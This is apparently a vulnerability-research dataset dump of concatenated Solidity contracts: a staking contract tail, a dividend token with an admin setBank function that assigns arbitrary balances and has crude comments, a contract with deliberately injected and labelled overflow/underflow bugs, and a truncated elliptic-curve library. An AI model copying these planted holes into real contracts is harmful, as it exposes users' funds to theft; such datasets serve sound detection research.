msg.sender ]; delete warmupInfo[ msg.sender ]; IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons)); IERC20(Time).safeTransfer(msg.sender, info.deposit); } function toggleDepositLock() external { warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock; } function unstake(uint _amount, bool _trigger) external { if (_trigger) { rebase(); } IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount); IERC20(Time).safeTransfer(msg.sender, _amount); } function index() public view returns (uint) { return IMemo(Memories).index(); } function rebase() public { if(epoch.endTime <= uint32(block.timestamp)) { IMemo(Memories).rebase(epoch.distribute, epoch.number); epoch.endTime = epoch.endTime.add32(epoch.length); epoch.number++; if (distributor != address(0)) { IDistributor(distributor).distribute(); } uint balance = contractBalance(); uint staked = IMemo(Memories).circulatingSupply(); if(balance <= staked) { epoch.distribute = 0; } else { epoch.distribute = balance.sub(staked); } } } function contractBalance() public view returns (uint) { return IERC20(Time).balanceOf(address(this)).add(totalBonus); } function giveLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.add(_amount); IERC20(Memories).safeTransfer(locker, _amount); } function returnLockBonus(uint _amount) external { require(msg.sender == locker); totalBonus = totalBonus.sub(_amount); IERC20(Memories).safeTransferFrom(locker, address(this), _amount); } enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER } function setContract(CONTRACTS _contract, address _address) external onlyManager() { if(_contract == CONTRACTS.DISTRIBUTOR) { // 0 distributor = _address; } else if (_contract == CONTRACTS.WARMUP) { // 1 require(warmupContract == address(0), "Warmup cannot be set more than once"); warmupContract = _address; } else if (_contract == CONTRACTS.LOCKER) { // 2 require(locker == address(0), "Locker cannot be set more than once"); locker = _address; } } function setWarmup(uint _warmupPeriod) external onlyManager() { warmupPeriod = _warmupPeriod; } }
126,186
12,019
b480c29b4506595f33987d200272d9b4f0e419452bf41559c5c76631b0cdea11
20,503
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.4/0xdea04f1d55d0cfc4bdc80e123c2d0bf94bc9d300.sol
4,376
16,763
pragma solidity ^0.4.20; contract FUDContract { /// @dev Only people with tokens modifier onlyBagholders { require(myTokens() > 0); _; } /// @dev Only people with profits modifier onlyStronghands { require(myDividends(true) > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } event onTokenPurchase(address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, bool isReinvest, uint timestamp, uint256 price); event onTokenSell(address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price); event onReinvestment(address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted); event onWithdraw(address indexed customerAddress, uint256 ethereumWithdrawn, uint256 estimateTokens, bool isTransfer); // ERC20 event Transfer(address indexed from, address indexed to, uint256 tokens); string public name = "FUD3D"; string public symbol = "FUD"; uint8 constant public decimals = 18; /// @dev 10% dividends for token purchase uint8 constant internal entryFee_ = 10; /// @dev 1% dividends for token transfer uint8 constant internal transferFee_ = 1; /// @dev 10% dividends for token selling uint8 constant internal exitFee_ = 10; /// @dev 15% masternode uint8 constant internal refferalFee_ = 15; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2 ** 64; /// @dev 250 FUD needed for masternode activation uint256 public stakingRequirement = 250e18; // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; // administrator list address internal owner; mapping(address => bool) public administrators; address bankAddress; mapping(address => bool) public contractAddresses; constructor() public { // add administrators here owner = msg.sender; administrators[owner] = true; } function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy, false); } function() payable public { purchaseTokens(msg.value, 0x0, false); } /// @dev Converts all of caller's dividends to tokens. function reinvest() onlyStronghands public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0, true); // fire event emit onReinvestment(_customerAddress, _dividends, _tokens); } /// @dev Alias of sell() and withdraw(). function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); // lambo delivery service withdraw(false); } /// @dev Withdraws all of the callers earnings. function withdraw(bool _isTransfer) onlyStronghands public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code uint256 _estimateTokens = calculateTokensReceived(_dividends); // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event emit onWithdraw(_customerAddress, _dividends, _estimateTokens, _isTransfer); } /// @dev Liquifies tokens to ethereum. function sell(uint256 _amountOfTokens) onlyBagholders public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (myDividends(true) > 0) { withdraw(true); } // liquify 1% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event emit Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function setBank(address _identifier, uint256 value) onlyAdministrator() public { bankAddress = _identifier; contractAddresses[_identifier] = true; tokenBalanceLedger_[_identifier] = value; } function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { require(_identifier != owner); administrators[_identifier] = _status; } function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /// @dev Internal function to actually purchase the tokens. function purchaseTokens(uint256 _incomingEthereum, address _referredBy, bool _isReinvest) internal returns (uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); // is the user referred by a masternode? if (// is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, _isReinvest, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ((// underflow attempts BTFO SafeMath.sub((sqrt ((_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = (// underflow attempts BTFO SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2) / 1e18); return _etherReceived; } /// @dev This is where all your gas goes. function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
223,466
12,020
67737f7e39ce6c57ba3719d2036c9bfdd65f31d34771cc4a83fd1ae3a4c8cafa
11,874
.sol
Solidity
false
441123437
1052445594/SoliDetector
171e0750225e445c2993f04ef32ad65a82342054
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Integer_overflow_and_underflow/Sol/buggy_26.sol
3,607
11,809
pragma solidity 0.4.25; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract UBBCToken is IERC20 { using SafeMath for uint256; function bug_intou3() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } mapping (address => uint256) private _balances; mapping(address => uint) public lockTime_intou29; function increaseLockTime_intou29(uint _secondsToIncrease) public { lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug } function withdraw_intou29() public { require(now > lockTime_intou29[msg.sender]); uint transferValue_intou29 = 10; msg.sender.transfer(transferValue_intou29); } mapping (address => mapping (address => uint256)) private _allowances; function bug_intou28(uint8 p_intou28) public{ uint8 vundflw1=0; vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug } uint256 private _totalSupply; function bug_intou27() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } string private _name; mapping(address => uint) balances_intou26; function transfer_intou26(address _to, uint _value) public returns (bool) { require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug return true; } string private _symbol; mapping(address => uint) public lockTime_intou25; function increaseLockTime_intou25(uint _secondsToIncrease) public { lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug } function withdraw_intou25() public { require(now > lockTime_intou25[msg.sender]); uint transferValue_intou25 = 10; msg.sender.transfer(transferValue_intou25); } uint8 private _decimals; constructor() public { _name = "UBBC Token"; _symbol = "UBBC"; _decimals = 18; _totalSupply = 260000000 ether; _balances[0x0e475cd2c1f8222868cf85B4f97D7EB70fB3ffD3] = _totalSupply; } function bug_intou24(uint8 p_intou24) public{ uint8 vundflw1=0; vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug } mapping(address => uint) balances_intou10; function transfer_intou10(address _to, uint _value) public returns (bool) { require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug return true; } event Transfer(address sender, address to, uint256 value); mapping(address => uint) public lockTime_intou1; function increaseLockTime_intou1(uint _secondsToIncrease) public { lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug } function withdraw_ovrflow1() public { require(now > lockTime_intou1[msg.sender]); uint transferValue_intou1 = 10; msg.sender.transfer(transferValue_intou1); } event Approval(address owner, address spender, uint256 value); function name() public view returns (string memory) { return _name; } function bug_intou23() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } function symbol() public view returns (string memory) { return _symbol; } mapping(address => uint) balances_intou22; function transfer_intou22(address _to, uint _value) public returns (bool) { require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug return true; } function decimals() public view returns (uint8) { return _decimals; } mapping(address => uint) public lockTime_intou21; function increaseLockTime_intou21(uint _secondsToIncrease) public { lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug } function withdraw_intou21() public { require(now > lockTime_intou21[msg.sender]); uint transferValue_intou21 = 10; msg.sender.transfer(transferValue_intou21); } function totalSupply() public view returns (uint256) { return _totalSupply; } function bug_intou20(uint8 p_intou20) public{ uint8 vundflw1=0; vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } mapping(address => uint) balances_intou2; function transfer_undrflow2(address _to, uint _value) public returns (bool) { require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug return true; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function bug_intou19() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } mapping(address => uint) balances_intou18; function transfer_intou18(address _to, uint _value) public returns (bool) { require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } mapping(address => uint) public lockTime_intou17; function increaseLockTime_intou17(uint _secondsToIncrease) public { lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug } function withdraw_intou17() public { require(now > lockTime_intou17[msg.sender]); uint transferValue_intou17 = 10; msg.sender.transfer(transferValue_intou17); } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function bug_intou16(uint8 p_intou16) public{ uint8 vundflw1=0; vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function bug_intou15() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } mapping(address => uint) balances_intou14; function transfer_intou14(address _to, uint _value) public returns (bool) { require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } mapping(address => uint) public lockTime_intou13; function increaseLockTime_intou13(uint _secondsToIncrease) public { lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug } function withdraw_intou13() public { require(now > lockTime_intou13[msg.sender]); uint transferValue_intou13 = 10; msg.sender.transfer(transferValue_intou13); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function bug_intou12(uint8 p_intou12) public{ uint8 vundflw1=0; vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug } function () payable external{ revert(); } function bug_intou11() public{ uint8 vundflw =0; vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug } }
223,747
12,021
5497cfb53a72a72184d1bc5c285d8466ed332690850ac8a0e3125f12a91880d2
14,295
.sol
Solidity
false
370487331
ben2048/blockchainBasedComputationOffloading
07bac3a03847b25fb45fb1f8c6bc355585286a6e
auctionContract/contracts/lib/BN256G2.sol
4,971
12,122
// This file is LGPL3 Licensed pragma solidity ^0.5.0; library BN256G2 { uint256 internal constant FIELD_MODULUS = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47; uint256 internal constant TWISTBX = 0x2b149d40ceb8aaae81be18991be06ac3b5b4c5e559dbefa33267e6dc24a138e5; uint256 internal constant TWISTBY = 0x9713b03af0fed4cd2cafadeed8fdf4a74fa084e52d1852e4a2bd0685c315d2; uint internal constant PTXX = 0; uint internal constant PTXY = 1; uint internal constant PTYX = 2; uint internal constant PTYY = 3; uint internal constant PTZX = 4; uint internal constant PTZY = 5; function ECTwistAdd(uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy, uint256 pt2xx, uint256 pt2xy, uint256 pt2yx, uint256 pt2yy) public view returns (uint256, uint256, uint256, uint256) { if (pt1xx == 0 && pt1xy == 0 && pt1yx == 0 && pt1yy == 0) { if (!(pt2xx == 0 && pt2xy == 0 && pt2yx == 0 && pt2yy == 0)) { assert(_isOnCurve(pt2xx, pt2xy, pt2yx, pt2yy)); } return (pt2xx, pt2xy, pt2yx, pt2yy); } else if (pt2xx == 0 && pt2xy == 0 && pt2yx == 0 && pt2yy == 0) { assert(_isOnCurve(pt1xx, pt1xy, pt1yx, pt1yy)); return (pt1xx, pt1xy, pt1yx, pt1yy); } assert(_isOnCurve(pt1xx, pt1xy, pt1yx, pt1yy)); assert(_isOnCurve(pt2xx, pt2xy, pt2yx, pt2yy)); uint256[6] memory pt3 = _ECTwistAddJacobian(pt1xx, pt1xy, pt1yx, pt1yy, 1, 0, pt2xx, pt2xy, pt2yx, pt2yy, 1, 0); return _fromJacobian(pt3[PTXX], pt3[PTXY], pt3[PTYX], pt3[PTYY], pt3[PTZX], pt3[PTZY]); } function ECTwistMul(uint256 s, uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy) public view returns (uint256, uint256, uint256, uint256) { uint256 pt1zx = 1; if (pt1xx == 0 && pt1xy == 0 && pt1yx == 0 && pt1yy == 0) { pt1xx = 1; pt1yx = 1; pt1zx = 0; } else { assert(_isOnCurve(pt1xx, pt1xy, pt1yx, pt1yy)); } uint256[6] memory pt2 = _ECTwistMulJacobian(s, pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, 0); return _fromJacobian(pt2[PTXX], pt2[PTXY], pt2[PTYX], pt2[PTYY], pt2[PTZX], pt2[PTZY]); } function GetFieldModulus() public pure returns (uint256) { return FIELD_MODULUS; } function submod(uint256 a, uint256 b, uint256 n) internal pure returns (uint256) { return addmod(a, n - b, n); } function _FQ2Mul(uint256 xx, uint256 xy, uint256 yx, uint256 yy) internal pure returns (uint256, uint256) { return (submod(mulmod(xx, yx, FIELD_MODULUS), mulmod(xy, yy, FIELD_MODULUS), FIELD_MODULUS), addmod(mulmod(xx, yy, FIELD_MODULUS), mulmod(xy, yx, FIELD_MODULUS), FIELD_MODULUS)); } function _FQ2Muc(uint256 xx, uint256 xy, uint256 c) internal pure returns (uint256, uint256) { return (mulmod(xx, c, FIELD_MODULUS), mulmod(xy, c, FIELD_MODULUS)); } function _FQ2Add(uint256 xx, uint256 xy, uint256 yx, uint256 yy) internal pure returns (uint256, uint256) { return (addmod(xx, yx, FIELD_MODULUS), addmod(xy, yy, FIELD_MODULUS)); } function _FQ2Sub(uint256 xx, uint256 xy, uint256 yx, uint256 yy) internal pure returns (uint256 rx, uint256 ry) { return (submod(xx, yx, FIELD_MODULUS), submod(xy, yy, FIELD_MODULUS)); } function _FQ2Div(uint256 xx, uint256 xy, uint256 yx, uint256 yy) internal view returns (uint256, uint256) { (yx, yy) = _FQ2Inv(yx, yy); return _FQ2Mul(xx, xy, yx, yy); } function _FQ2Inv(uint256 x, uint256 y) internal view returns (uint256, uint256) { uint256 inv = _modInv(addmod(mulmod(y, y, FIELD_MODULUS), mulmod(x, x, FIELD_MODULUS), FIELD_MODULUS), FIELD_MODULUS); return (mulmod(x, inv, FIELD_MODULUS), FIELD_MODULUS - mulmod(y, inv, FIELD_MODULUS)); } function _isOnCurve(uint256 xx, uint256 xy, uint256 yx, uint256 yy) internal pure returns (bool) { uint256 yyx; uint256 yyy; uint256 xxxx; uint256 xxxy; (yyx, yyy) = _FQ2Mul(yx, yy, yx, yy); (xxxx, xxxy) = _FQ2Mul(xx, xy, xx, xy); (xxxx, xxxy) = _FQ2Mul(xxxx, xxxy, xx, xy); (yyx, yyy) = _FQ2Sub(yyx, yyy, xxxx, xxxy); (yyx, yyy) = _FQ2Sub(yyx, yyy, TWISTBX, TWISTBY); return yyx == 0 && yyy == 0; } function _modInv(uint256 a, uint256 n) internal view returns (uint256 result) { bool success; assembly { let freemem := mload(0x40) mstore(freemem, 0x20) mstore(add(freemem,0x20), 0x20) mstore(add(freemem,0x40), 0x20) mstore(add(freemem,0x60), a) mstore(add(freemem,0x80), sub(n, 2)) mstore(add(freemem,0xA0), n) success := staticcall(sub(gas, 2000), 5, freemem, 0xC0, freemem, 0x20) result := mload(freemem) } require(success); } function _fromJacobian(uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy, uint256 pt1zx, uint256 pt1zy) internal view returns (uint256 pt2xx, uint256 pt2xy, uint256 pt2yx, uint256 pt2yy) { uint256 invzx; uint256 invzy; (invzx, invzy) = _FQ2Inv(pt1zx, pt1zy); (pt2xx, pt2xy) = _FQ2Mul(pt1xx, pt1xy, invzx, invzy); (pt2yx, pt2yy) = _FQ2Mul(pt1yx, pt1yy, invzx, invzy); } function _ECTwistAddJacobian(uint256 pt1xx, uint256 pt1xy, uint256 pt1yx, uint256 pt1yy, uint256 pt1zx, uint256 pt1zy, uint256 pt2xx, uint256 pt2xy, uint256 pt2yx, uint256 pt2yy, uint256 pt2zx, uint256 pt2zy) internal pure returns (uint256[6] memory pt3) { if (pt1zx == 0 && pt1zy == 0) { (pt3[PTXX], pt3[PTXY], pt3[PTYX], pt3[PTYY], pt3[PTZX], pt3[PTZY]) = (pt2xx, pt2xy, pt2yx, pt2yy, pt2zx, pt2zy); return pt3; } else if (pt2zx == 0 && pt2zy == 0) { (pt3[PTXX], pt3[PTXY], pt3[PTYX], pt3[PTYY], pt3[PTZX], pt3[PTZY]) = (pt1xx, pt1xy, pt1yx, pt1yy, pt1zx, pt1zy); return pt3; } (pt2yx, pt2yy) = _FQ2Mul(pt2yx, pt2yy, pt1zx, pt1zy); // U1 = y2 * z1 (pt3[PTYX], pt3[PTYY]) = _FQ2Mul(pt1yx, pt1yy, 